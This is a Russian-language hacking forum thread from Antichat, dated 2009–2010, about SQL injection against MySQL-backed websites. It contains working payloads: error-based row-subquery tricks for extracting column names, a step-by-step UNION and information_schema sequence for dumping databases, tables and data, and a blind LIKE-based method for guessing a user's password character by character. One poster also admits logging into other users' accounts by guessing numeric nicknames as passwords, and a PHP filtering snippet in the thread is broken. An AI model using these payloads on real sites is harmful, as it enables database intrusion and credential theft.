Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

23.11.2009, 20:06
|
|
Banned
Регистрация: 03.08.2005
Сообщений: 430
Провел на форуме: 639191
Репутация:
60
|
|
Dr Z3r0
можеш на примере показать код пожалуста. и пример php кода для 2 примера.
1)САМОЕ ГЛАВНОЕ ФИЛЬТРОВАТЬ КАВЫЧКИ.
-------------------------------
2)Если используется оператор сравнения строк LIKE фильтровать знаки “%” и “_”
-------------------------------
|
|
|
MYSQL - Retrieving some column's name using Row SubQueries |

30.11.2009, 06:12
|
|
Reservists Of Antichat - Level 6
Регистрация: 16.07.2005
Сообщений: 653
Провел на форуме: 8854279
Репутация:
2727
|
|
MYSQL - Retrieving some column's name using Row SubQueries
почистите тему от мусора, модеры.
http://sla.ckers.org/forum/read.php?16,32472
MYSQL - Retrieving some column's name using Row SubQueries
Posted by: Paic (IP Logged)
Date: November 25, 2009 11:56AM
Hi,
I've recently found an interesting way of retrieving column's name from other tables than the one used in the query when information_schema table is not accessible. It assume you've already found some table's name.
It is using the 1%0 trick and MySQL subqueries.
Maybe you all know about that but I would like to share it!
I was playing around with sql subqueries when I've found something very interesting: "Row Subqueries"
You'd better read this in order to understand what's next:
[dev.mysql.com]
The hint is "The row constructor and the row returned by the subquery must contain the same number of values."
Ok, imagine you have the table USER_TABLE. You don't have any other informations than the table's name.
The sql query is expecting only one row as result.
Here is our input:
' AND (SELECT * FROM USER_TABLE) = (1);
MySQL answer:
"Operand should contain 7 column(s)"
MySQL told us that the table USER_TABLE has 7 columns! That's great!
Now we can use the UNION and 1%0 to retrieve some column's name:
The following query shouldn't give you any error:
' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1);
Now let's try with the first colum, simply add %0 to the first column in the UNION:
' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1);
MySQL answer:
"Column 'usr_u_id' cannot be null"
We've got the first column name: "usr_u_id"
Then we proceed with the other columns...
Example with the 4th column:
' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1);
If MySQL doesn't reply with an error message, this is just because the column can be empty and you won't be able to get it's name!
Paic
__________________
ПИУ-ПИУ...
|
|
|

30.11.2009, 13:16
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Ох блин, круто! Только у меня пашет только на 4ой ветке. Ну и жаль что только для колонок NOT NULL.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 30.11.2009 в 13:18..
|
|
|

30.11.2009, 13:42
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
Уже писал https://forum.antichat.ru/showpost.php?p=1716996&postcount=18
|
|
|

30.11.2009, 14:35
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
Сообщение от 9822
Dr Z3r0
можеш на примере показать код пожалуста. и пример php кода для 2 примера.
1)САМОЕ ГЛАВНОЕ ФИЛЬТРОВАТЬ КАВЫЧКИ.
-------------------------------
2)Если используется оператор сравнения строк LIKE фильтровать знаки “%” и “_”
-------------------------------
1:
PHP код:
<?PHP
$_GET['query'] = mysql_real_escape_string($_GET['query']);
?>
2:
PHP код:
<?PHP
$_GET['query'] = preg_replace("%", "", $_GET['query']);
$_GET['query'] = preg_replace("_", "", $_GET['query']);
?>
Последний раз редактировалось Ctacok; 20.05.2010 в 12:46..
|
|
|

13.12.2009, 03:00
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Выложу и сюда, заманали уже просто с такими вопросами:
есть сайт на котором присутствует иньекция, на этом сайте много баз данных.версия sql 5(поддерживает information_schema)
вопрос: как мне спомощью information_schema вывести инфу из других баз? (например я нахожусь в базе "test" а нужны данные из базы "users")
??????????
Узнаем все БД:
http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(schema_name),3,4,5, 6,7,8,9,10+from+information_schema.schemata--
Узнаем таблицы из нужной БД:
http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(table_name),3,4,5,6 ,7,8,9,10+from+information_schema.tables+where+tab le_schema='ИМЯ_БД'--
Узнаем колонки из нужной таблицы из нужной БД:
http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(column_name),3,4,5, 6,7,8,9,10+from+information_schema.columns+where+t able_name='ИМЯ_ТАБЛИЦЫ'+and+table_schema ='ИМЯ_БД'--
Узнаем данные из нужной таблицы из нужной БД:
http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(ИМЯ_КОЛОНК И),3,4,5,6,7,8,9,10+from+ИМЯ_БД.ИМЯ_ТА ЛИЦЫ--
PS: или убрать group_concat и юзать как обычно:
limit+0,1
limit+1,1
......
если было чото такое - удалите плз, поиском по сайту в FAQ-ах вроде нет, а спрашивают часто
|
|
|

30.12.2009, 04:24
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
Боян конечно, но вроде нигде не писали
Все чаще встречаю сайты, где либо фильтруются запятые, либо запятые участвуют в разборе QUERY_STRING при работе mod_rewrite, встречал даже ситуацию где запятые экранировались слешами. К сожалению тут особо не развернешься, но все таки можно достать нужную нам инфу, для этого надо знать имена колонок и таблиц, хотя таким же способом их можно вывести из information_schema
Допустим юзер с id=1 имеет пароль qwerty, тогда
id=1 and (select password from users where password like 'q%' and id=1) - запрос верный
id=1 and (select password from users where password like 'qa%' and id=1) - запрос неверный
id=1 and (select password from users where password like 'qw%' and id=1) - запрос верный И так далее. Сложно, долго, но работает
Последний раз редактировалось Spyder; 14.01.2010 в 03:41..
|
|
|

01.01.2010, 00:27
|
|
Познающий
Регистрация: 21.07.2007
Сообщений: 68
Провел на форуме: 947074
Репутация:
257
|
|
Сообщение от Spyder
Боян конечно, но вроде нигде не писали
Все чаще встречаю сайты, где либо фильтруются запятые, либо запятые участвуют в разборе QUERY_STRING при работе mod_rewrite, встречал даже ситуацию где запятые экранировались слешами. К сожалению тут особо не развернешься, но все таки можно достать нужную нам инфу, для этого надо знать имена колонок и таблиц, хотя таким же способом их можно вывести из information_schema
Допустим юзер с id=1 имеет пароль qwerty, тогда
id=1 and (select password from users where password like ('q%') and id=1) - запрос верный
id=1 and (select password from users where password like ('qa%') and id=1) - запрос неверный
id=1 and (select password from users where password like ('qw%') and id=1) - запрос верный И так далее. Сложно, долго, но работает
а зачем ты ставишь скобки вокруг 'q%'? Просто интересно...
|
|
|

02.01.2010, 05:24
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
Наверно где то увидел что надо ставить скобки в конструкции LIKE и теперь всегда их ставлю =)
|
|
|

09.01.2010, 03:48
|
|
Новичок
Регистрация: 14.05.2008
Сообщений: 11
Провел на форуме: 90456
Репутация:
0
|
|
Вы меня наверно пошлете на х*й, но хотелось бы спросить (или может быть кто-небудь сжалится над тупым дураком и согласится сам ему объяснить) где можно достать информацию об SQL injection для форумов на phpBB. А то ведь большинство форумов работают на phpBB а все что можно найти в сети обычно многолетней давности и та информация кроме как для изучения синтаксис sql и php мало чем полезна. По крайней мере для инъекций phpBB-форумов в которых фильтруется все что только можно.
Пожалуйста не судите строга за наглость, очень уж хочется освоить такую интересную вещь как SQL injection. Буду очень признателен за помощь.
P.S.: не смотрите что у меня такой дурацкий ник. я просто прошелся по списку пользователей и пробовал цифровые ники в качестве пароля, что б самому не регится и не загаживать список пользователей еще одной записью ради одного поста.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|